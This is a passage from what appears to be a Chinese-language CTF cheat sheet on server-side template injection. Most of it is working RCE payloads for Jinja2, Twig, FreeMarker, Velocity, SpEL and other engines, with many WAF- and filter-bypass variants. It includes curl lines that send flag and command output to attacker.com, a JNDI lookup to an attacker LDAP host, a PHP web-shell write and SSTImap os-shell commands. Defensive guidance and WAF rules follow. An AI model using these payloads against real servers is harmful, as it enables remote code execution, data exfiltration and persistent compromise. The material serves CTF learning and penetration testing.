{{lipsum['__glob'+'als__']['os']['pop'+'en']('id')['read']()}}
# ── 通过 request.args 动态传入(Flask)──
# URL: ?a=__class__&b=__mro__&c=__subclasses__
{{''[request.args.a][request.args.b][1][request.args.c]()}}
# ── 通过 request.cookies 传入 ──
# Cookie: a=__class__; b=os; c=popen
{{lipsum[request.cookies.get('c')][request.cookies.get('b')][request.cookies.get('c')]('id').read()}}
# ── Unicode 变换 ──
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}} # __class__
# \x5f = _
# ── 利用 format 字符串 ──
{{'%s'%'__class__'}}
# ── 利用 ~ 连接符(Jinja2)──
{%set x='__cl'%}{%set y='ass__'%}{{''[x~y]}}
15.5 绕过下划线过滤
# 当 _ 被过滤时
# ── 方法一:通过 request.args 传入下划线 ──
# URL: ?x=__class__
{{''[request.args.x]}}
# ── 方法二:通过 Unicode 全角下划线 ──
# 某些引擎接受全角字符(_)
{{''[__class__]}} # 部分引擎可能支持
# ── 方法三:通过 dict() 构造键名 ──
{{dict(__class__=a).keys()|list|first}}
# ── 方法四:通过 chr() 拼接 ──
{% set u = (x|string)[0] if x is not defined else '_' %}
# 利用某个变量的字符串表示包含下划线
# ── 方法五:通过 lipsum 的字符串 ──
{{(lipsum|string)[9]}} # lipsum 字符串中的第9个字符可能是 _
十六、Java 沙箱逃逸通用技巧
16.1 通用 Java 反射链
// 通用 Java 反射执行命令(适用于 FreeMarker / Velocity / Thymeleaf)
// ── 通过 Runtime.exec ──
Runtime.getRuntime().exec("id")
// ── 通过 ProcessBuilder ──
new ProcessBuilder(new String[]{"/bin/bash", "-c", "id"}).start()
// ── 通过 ScriptEngine(需要 Nashorn/Rhino)──
new javax.script.ScriptEngineManager()
.getEngineByName("javascript")
.eval("java.lang.Runtime.getRuntime().exec('id')")
// ── 通过 JNDI 注入(配合 Gadget Chain)──
// 需要 JNDI 服务端和反序列化链
javax.naming.InitialContext.lookup("ldap://attacker.com/Exploit")
16.2 读取命令输出的通用方式
// Java 中读取命令执行结果
Process p = Runtime.getRuntime().exec("id");
java.io.BufferedReader br = new java.io.BufferedReader(
new java.io.InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) sb.append(line).append('\n');
System.out.println(sb.toString());
// 更简洁:Scanner
String output = new java.util.Scanner(
Runtime.getRuntime().exec("id").getInputStream()
).useDelimiter("\\A").next();
16.3 SpEL 注入(通用)
# Spring EL 表达式注入(适用于多种 Java 框架)
# ── 基础执行 ──
T(java.lang.Runtime).getRuntime().exec('id')
T(java.lang.ProcessBuilder).new(['id']).start()
# ── 读取输出 ──
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\A').next()
# ── 多参数命令 ──
T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','cat /flag'})
# ── 读取文件 ──
new java.util.Scanner(new java.io.File('/etc/passwd')).useDelimiter('\A').next()
# ── 写文件 ──
T(java.nio.file.Files).write(T(java.nio.file.Paths).get('/tmp/x'),
'shell code'.bytes,
T(java.nio.file.StandardOpenOption).CREATE)
十七、WAF 绕过技术
17.1 绕过 {{}} 语法过滤
# ── 使用 {%...%} 代替 {{ }} ──
# 某些 WAF 只过滤 {{ }},不过滤 {% %}
{% if lipsum.__globals__.os.popen('id').read() %}done{% endif %}
{% set x = lipsum.__globals__.os.popen('id').read() %}{{ x }}
# ── 使用 {# #} 中的变量插值(部分引擎)──
{# 此方法效果有限,主要用于注释绕过 #}
# ── 利用 raw 标签 ──
{% raw %}{{ 7*7 }}{% endraw %} # 输出字面量(测试是否解析)
# ── 转义字符干扰 ──
{{7*7}} # 插入零宽字符(某些 WAF 无法识别)
{{ 7 * 7 }} # 添加空格
{{ 7*7}} # Tab 字符
# ── 使用 Jinja2 行语句(Line Statements)──
# 若开启了 line_statement_prefix(如 # )
# 可直接写 Python 表达式而无需 {{ }}
17.2 绕过关键字过滤
# ── 字符串拼接(最常用)──
{%set a='__cla'%}{%set b='ss__'%}{{''[a~b]}}
{%set a='po'%}{%set b='pen'%}{{lipsum.__globals__.os[a~b]('id').read()}}
# ── 通过 request.args 动态传参(Flask SSTI)──
# GET: ?c=__class__&m=__mro__&s=__subclasses__&g=__globals__&o=os
{{().__getattribute__(request.args.c)
.__getattribute__(request.args.m)[1]
.__getattribute__(request.args.s)()[N]
.__init__
.__getattribute__(request.args.g)[request.args.o]
.popen('id').read()}}
# ── 通过 Cookie 传参 ──
# Cookie: cmd=id; attr=__class__
{{lipsum[request.cookies.get('attr')]}}
{{request.cookies.get('cmd')|attr('format')()|attr(request.cookies.get('attr'))}}
# ── 通过 |attr 过滤器 ──
{{''|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f')}} # __class__
# ── 编码绕过 ──
# Unicode 转义
{{'\u005f\u005fclass\u005f\u005f'}} # 某些情况有效
# ── 利用 Python 内置的字符操作 ──
{%set x = dict(__class__=1).keys()|list|first%}{{''[x]}}
17.3 绕过下划线 _ 过滤
# ── 方法一:通过 request.args 传入 ──
# URL: ?usc=__
{{''[request.args.usc~'class'~request.args.usc]}}
# ── 方法二:从字符串中提取 _ ──
# 找到某个变量或字符串中包含下划线的位置
# lipsum 输出的文本可能包含下划线
{%set underscore=(lipsum()|string)[某个索引]%}
{{''[underscore~underscore~'class'~underscore~underscore]}}
# ── 方法三:利用 dict 关键字参数 ──
{%set a=dict(__class__=a)|list|first%}
# ── 方法四:利用 config 变量名中的下划线 ──
# config 对象的某些 key 中含有下划线
{%for k in config%}{%if loop.first%}{%set u=k[0]%}{%endif%}{%endfor%}
# 然后用 u 变量代替下划线
# ── 方法五:chr() 构造 ──
{%set u="\x5f"%} # \x5f = _
{{''[u~u~'class'~u~u]}}
17.4 绕过点号 . 过滤
# ── 使用 [] 替代 . ──
{{''['__class__']}} # ''.__class__
{{lipsum['__globals__']['os']['popen']('id')['read']()}}
# ── 使用 |attr 过滤器替代 . ──
{{''|attr('__class__')}} # ''.__class__
{{lipsum|attr('__globals__')|attr('os')|attr('popen')('id')|attr('read')()}}
# ── 使用 __getattribute__ ──
{{''.__getattribute__('__class__')}}
# ── 组合使用 ──
{%set a='__class__'%}{{''[a]}}
17.5 绕过引号过滤
# 当单双引号都被过滤时
# ── 方法一:通过 request.args 传入字符串 ──
# URL: ?cmd=id
{{lipsum.__globals__.os.popen(request.args.cmd).read()}}
# ── 方法二:通过 chr() 构造字符串 ──
# 'id' → chr(105)+chr(100)
{{lipsum.__globals__.os.popen(chr(105)~chr(100)).read()}}
# ── 方法三:通过整数构造 ──
{%set n=dict(id=1).keys()|list|first%} # n = 'id'
{{lipsum.__globals__.os.popen(n).read()}}
# ── 方法四:通过已有变量中的子字符串 ──
# 利用 namespace 或其他已有变量的字符串表示拼接命令
17.6 绕过数字过滤
# 当数字被过滤时(某些 WAF 过滤 [0], [1] 等索引)
# ── 方法一:使用 first / last ──
{{''.__class__.__mro__|last}} # 最后一个 MRO 类
{{''.__class__.__mro__|first}} # 第一个 MRO 类
# ── 方法二:使用 |select 或 |selectattr ──
{{''.__class__.__mro__[1].__subclasses__()
|select('equalto', xxx)|list}}
# ── 方法三:构造数字 ──
{%set n=(()|count)%} # n = 0
{%set n=((1,)|count)%} # n = 1(tuple 长度)
{%set n=(range(2)|last)%} # n = 1
{%set z=(range(1)|count)%} # z = 1
17.7 Twig WAF 绕过
{# ── 绕过关键字过滤 ── #}
{# 使用字符串拼接 #}
{% set a = '_se' %}
{% set b = 'lf' %}
{{ (a~b).env.registerUndefinedFilterCallback("system") }}
{{ (a~b).env.getFilter("id") }}
{# ── 使用 |reduce 绕过 ── #}
{{ ['id']|reduce((carry, v) => system(v)) }}
{# ── 利用 Twig 过滤器 ── #}
{{ 'id'|system }} {# 某些配置 #}
{{ ['id']|map('system') }} {# Twig 2.x+ #}
{# ── 通过 HTTP 参数传入 ── #}
{{ app.request.query.get('cmd')|system }} {# Symfony 特有 #}
17.8 FreeMarker WAF 绕过
<#-- ── 使用 ? 操作符绕过过滤 ── -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${"id"?eval} <#-- 某些版本 -->
<#-- ── 字符串拼接绕过 ── -->
<#assign cn = "freemarker.template.utility." + "Execute">
<#assign ex = cn?new()>
${ex("id")}
<#-- ── 通过 ?interpret 绕过 ── -->
${"<#assign x=\"freemarker.template.utility.Execute\"?new()>${x(\"id\")}"?interpret}
<#-- ── 利用 include 变量 ── -->
<#include "/etc/passwd"> <#-- 文件读取 -->
17.9 通用 WAF 绕过技巧
# ── 利用注释干扰 WAF ──
# Jinja2 注释
{{7{#comment#}*7}} # 某些情况有效
{{ 7 * {# ignore #} 7 }}
# ── 利用换行符/空白字符 ──
{{\n7*7\n}}
{{\t7*7\t}}
# ── 利用编码 ──
# 通过 Burp 对 payload 进行 URL 编码
%7B%7B7*7%7D%7D → {{7*7}}
# ── 分块传输(HTTP Chunked)──
# 将 Payload 分成多个 chunk 传输,绕过内容检测
# ── 多次请求拼接 ──
# 第一个请求写入部分 payload,第二个请求触发(配合存储型 SSTI)
# ── 利用服务器差异处理 ──
# 某些 WAF 和应用服务器对 URL 编码、Unicode 的处理不一致
# 双重编码:%257B%257B7*7%257D%257D → %7B%7B7*7%7D%7D → {{7*7}}
十八、CTF 实战思路
18.1 快速判断流程
发现疑似注入点(用户输入被反射/渲染到页面)
↓
Step 1:基础检测(判断是否存在 SSTI)
输入 {{7*7}} → 输出 49? → 存在 SSTI
输入 ${7*7} → 输出 49? → 存在 SSTI(Java 系)
输入 {{7*'7'}} → 输出? → 判断引擎类型
↓
Step 2:识别模板引擎(参考识别决策树)
Jinja2 / Twig / Smarty / FreeMarker / Velocity / Thymeleaf / ERB / EJS
↓
Step 3:信息收集
读取配置 / 环境变量 / 当前用户 / 文件列表
↓
Step 4:RCE 利用
执行命令 → 寻找 flag → 反弹 Shell
↓
Step 5:WAF 绕过(若有过滤)
字符串拼接 / request.args 传参 / 编码绕过
18.2 各引擎利用速查卡
# ── Jinja2 (Python/Flask) ──
{{lipsum.__globals__.os.popen('id').read()}}
{{url_for.__globals__.os.popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['popen']('id').read()}}
# ── Twig (PHP) ──
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
{{['id']|map('system')}}
# ── Smarty (PHP) ──
{system('id')}
{passthru('id')}
# ── FreeMarker (Java) ──
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# ── Velocity (Java) ──
#set($e="e")$e.getClass().forName("java.lang.Runtime")
.getMethod("exec","".getClass())
.invoke($e.getClass().forName("java.lang.Runtime")
.getMethod("getRuntime").invoke(null),"id")
# ── Thymeleaf (Java/Spring) ──
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
${T(java.lang.Runtime).getRuntime().exec('id')}
# ── ERB (Ruby) ──
<%= `id` %>
<%= system('id') %>
# ── EJS (Node.js) ──
<%= require('child_process').execSync('id').toString() %>
# ── Tornado (Python) ──
{% import os %}{{ os.popen('id').read() }}
# ── Mako (Python) ──
<% import os %>${ os.popen('id').read() }
18.3 常见 CTF 场景
场景一:Flask SSTI(参数过滤)
# 题目特征:Flask 应用,某些字符被过滤
# 常见过滤:_ . [] 数字 引号
# 组合绕过:无引号 + 无下划线 + 无数字
# 通过 request.args 传入关键字符串
# GET: ?a=__class__&b=__mro__&c=__subclasses__&d=__init__&e=__globals__&f=__builtins__&cmd=id
{{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.d)|attr(request.args.e)|attr(request.args.f)|attr(request.args.c)()|attr(request.args.d)(request.args.cmd)}}
# 更简洁(直接用 lipsum + request.args)
{{lipsum|attr(request.args.g)|attr(request.args.o)|attr(request.args.p)(request.args.cmd)|attr(request.args.r)()}}
# ?g=__globals__&o=os&p=popen&r=read&cmd=id
场景二:无回显 SSTI(盲注)
# 无回显时,通过时间延迟或 DNS/HTTP 外带数据
# 时间延迟检测
{{lipsum.__globals__.os.popen('sleep 5').read()}}
# DNS 外带
{{lipsum.__globals__.os.popen('curl http://`id`.attacker.com').read()}}
{{lipsum.__globals__.os.popen("bash -c 'id | base64 | xargs -I{} curl http://attacker.com/?d={}'").read()}}
# HTTP 外带(读取 flag)
{{lipsum.__globals__.os.popen("curl -X POST http://attacker.com/ -d $(cat /flag | base64)").read()}}
# 写入 WebShell
{{lipsum.__globals__.os.popen("echo '<?php system($_GET[cmd]);?>' > /var/www/html/shell.php").read()}}
场景三:Jinja2 Sandbox 绕过
# Jinja2 有沙箱模式(Sandbox Environment),限制了危险操作
# 沙箱中通常禁止:_ 开头的属性,call 方法等
# 通过允许的内置函数找到出口
{{namespace(class=1)}} # 测试是否允许 namespace
# 通过 |attr 绕过属性访问限制
{{[]|attr('\x5f\x5fclass\x5f\x5f')}} # __class__
# 通过格式化字符串
{{'%c'%95}} # 95 = ASCII '_'
# 构造: {{'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c'%(95,95,99,108,97,115,115,95,95,...)}}
# 通过 format 构造下划线
{{"%c"|format(95)}} # → '_'
18.4 常见 flag 位置
# 通过 SSTI 执行命令寻找 flag
{{lipsum.__globals__.os.popen('find / -name flag* 2>/dev/null').read()}}
{{lipsum.__globals__.os.popen('cat /flag').read()}}
{{lipsum.__globals__.os.popen('cat /flag.txt').read()}}
{{lipsum.__globals__.os.popen('cat /root/flag').read()}}
{{lipsum.__globals__.os.popen('env | grep -i flag').read()}}
{{lipsum.__globals__.os.popen('ls /').read()}}
# 读取文件(直接文件访问)
{{open('/flag').read()}}
{{open('/flag.txt').read()}}
十九、防御措施
19.1 根本防御原则
永远不要将用户输入拼接进模板字符串!
将用户输入作为数据变量传入,而非模板内容。
19.2 各语言安全写法
# ── Python / Jinja2 ──
# ❌ 危险
template = f"Hello {user_input}!"
render_template_string(template)
# ✅ 安全
render_template_string("Hello {{ name }}!", name=user_input)
render_template("hello.html", name=user_input)
<?php
// ── PHP / Twig ──
// ❌ 危险
echo $twig->createTemplate("Hello $input")->render([]);
// ✅ 安全
echo $twig->render('hello.html.twig', ['name' => $input]);
echo $twig->createTemplate("Hello {{ name }}")->render(['name' => $input]);
// ── PHP / Smarty ──
// ❌ 危险
$smarty->fetch('string:' . $input);
// ✅ 安全
$smarty->assign('name', $input);
$smarty->display('hello.tpl');
// ── Java / FreeMarker ──
// ❌ 危险
Template t = new Template("t", new StringReader(userInput), cfg);
t.process(model, out);
// ✅ 安全
Template t = cfg.getTemplate("hello.ftl"); // 使用预定义模板
Map<String, Object> model = new HashMap<>();
model.put("name", userInput); // 用户输入作为数据
t.process(model, out);
// ── Java / Velocity ──
// ❌ 危险
Velocity.evaluate(context, writer, "t", userInput);
// ✅ 安全
Template t = Velocity.getTemplate("hello.vm"); // 预定义模板
VelocityContext ctx = new VelocityContext();
ctx.put("name", userInput); // 数据传入
t.merge(ctx, writer);
19.3 沙箱配置(防御纵深)
# Jinja2 沙箱环境(减少但不能完全消除风险)
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
# SandboxedEnvironment 限制了:
# - 访问私有属性(__class__ 等)
# - 调用危险方法
# - 访问受限的内置函数
# 注意:沙箱不是银弹,仍可能被绕过!
<?php
// Twig 沙箱模式
$policy = new \Twig\Sandbox\SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new \Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);
// 白名单配置(严格限制允许的操作)
$tags = ['if', 'for'];
$filters = ['upper', 'lower', 'escape'];
$methods = []; // 禁止所有方法调用
$properties = []; // 禁止所有属性访问
$functions = ['range']; // 只允许 range 函数
19.4 输入验证与过滤
# 对必须动态渲染的内容进行白名单过滤
import re
def sanitize_template_input(user_input):
"""对模板变量值进行净化(针对 Jinja2)"""
# 移除所有模板语法
dangerous_patterns = [
r'\{\{.*?\}\}', # {{ ... }}
r'\{%.*?%\}', # {% ... %}
r'\{#.*?#\}', # {# ... #}
]
for pattern in dangerous_patterns:
user_input = re.sub(pattern, '', user_input, flags=re.DOTALL)
return user_input
# 更彻底:对特殊字符进行转义
def escape_template_chars(user_input):
"""转义模板特殊字符"""
return (user_input
.replace('{', '{')
.replace('}', '}')
.replace('%', '%'))
19.5 WAF 规则建议
# 检测 SSTI 特征的 WAF 规则
# 拦截常见模板语法
正则:\{\{.*?\}\} # {{ ... }}
正则:\{%.*?%\} # {% ... %}
正则:\$\{.*?\} # ${ ... }
正则:<%.*?%> # <% ... %>
正则:#\{.*?\} # #{ ... }
# 拦截关键类名(防止 Python 沙箱逃逸)
关键字:__class__
关键字:__mro__
关键字:__subclasses__
关键字:__globals__
关键字:__builtins__
关键字:__import__
# 拦截 Java 反射关键字
关键字:forName
关键字:getRuntime
关键字:ProcessBuilder
关键字:java.lang.Runtime
# 注意:WAF 是补充手段,不能替代安全编码!
19.6 防御检查清单
✅ 用户输入永远只作为数据传入模板,绝不拼接为模板字符串
✅ 使用预定义的模板文件,不支持用户自定义模板内容
✅ 启用模板引擎的沙箱模式(Jinja2 SandboxedEnvironment 等)
✅ 最小化模板中可访问的变量和对象(不传入 config、request 等敏感对象)
✅ 对用户输入进行 HTML 转义(防止 XSS,同时也干扰部分 SSTI)
✅ 部署 WAF 检测模板注入特征字符
✅ 以最小权限运行 Web 进程(限制 RCE 危害)
✅ 禁用不必要的模板功能(如 FreeMarker 的 `freemarker.template.utility.Execute`)
✅ 定期进行代码审计,检查所有 render/evaluate 调用
✅ 监控异常模板渲染(响应时间异常、内存使用激增等)
✅ 生产环境禁用详细错误信息(防止通过报错识别引擎类型)
✅ 依赖库及时更新(修复引擎自身的安全漏洞)
附录
A. SSTI 探测 Payload 字典
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{7*7}
${{7*7}}
*{7*7}
{{{7*7}}}
{{7*'7'}}
${"z".class.name}
{{config}}
{{self}}
{{request}}
B. 引擎特征速查表
| 模板引擎 | 语言 | 语法 | 特征表达式 | 直接 RCE 难度 |
|---|---|---|---|---|
| Jinja2 | Python | {{ }} {% %} |
{{7*'7'}}→7777777 |
🟡 中(需遍历子类) |
| Twig | PHP | {{ }} {% %} |
{{7*'7'}}→49 |
🟡 中(_self.env) |
| Smarty | PHP | { } |
{$smarty.version} |
🟢 易(直接调用函数) |
| FreeMarker | Java | ${ } <# > |
${7?string} |
🟢 易(Execute 类) |
| Velocity | Java | $var #set |
#set($a=7)$a |
🟡 中(反射链) |
| Thymeleaf | Java | ${ } *{ } |
*{7*7} |
🟡 中(SpEL) |
| Tornado | Python | {{ }} {% %} |
{{handler.settings}} |
🟢 易(直接 import) |
| Mako | Python | ${ } <% %> |
${'x'.upper()} |
🟢 易(直接 import) |
| ERB | Ruby | <%= %> <% %> |
<%= 7*7 %> |
🟢 最易(反引号) |
| EJS | JavaScript | <%= %> <% %> |
<%= 7*7 %> |
🟢 易(require) |
| Handlebars | JavaScript | {{ }} {{# }} |
{{7}} |
🔴 难(沙箱严格) |
| Pebble | Java | {{ }} {% %} |
{{7*7}} |
🟡 中(反射链) |
C. 自动化利用工具
| 工具 | 说明 | 地址 |
|---|---|---|
| tplmap | 自动检测利用多种 SSTI | github.com/epinna/tplmap |
| SSTImap | tplmap 的更新维护版 | github.com/vladko312/SSTImap |
| Burp SSTI Scanner | Burp 插件自动检测 | BApp Store |
| Nuclei | 包含 SSTI 检测模板 | github.com/projectdiscovery/nuclei |
# SSTImap 使用示例
git clone https://github.com/vladko312/SSTImap
cd SSTImap
python sstimap.py -u 'http://target.com/page?name=*'
python sstimap.py -u 'http://target.com/page?name=*' --os-shell
python sstimap.py -u 'http://target.com/page?name=*' --os-cmd 'cat /flag'
python sstimap.py -u 'http://target.com/page?name=*' -D '/flag' '/tmp/flag' # 下载文件
# tplmap 使用示例
python tplmap.py -u 'http://target.com/page?name=*' \
--cookie 'PHPSESSID=abc123' \
--os-shell
D. 常见 CVE 速查
| CVE | 影响组件 | 类型 | 说明 |
|---|---|---|---|
| CVE-2022-26134 | Confluence Server | OGNL/SSTI | 未授权 RCE,影响极广 |
| CVE-2019-3396 | Confluence Widget | FreeMarker SSTI | Widget Connector 注入 |
| CVE-2017-5638 | Apache Struts2 | OGNL 注入 | Content-Type 头注入 |
| CVE-2020-9484 | Apache Tomcat | 反序列化 RCE | 与 SSTI 常结合使用 |
| CVE-2022-22963 | Spring Cloud Function | SpEL 注入 | routing-expression 头 |
| CVE-2022-22947 | Spring Cloud Gateway | SpEL 注入 | 路由配置 SSTI |
| CVE-2021-25770 | YouTrack | Freemarker | 模板注入 RCE |
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。服务端模板注入漏洞的利用未经授权属于违法行为,请在合法合规的环境中学习与实践。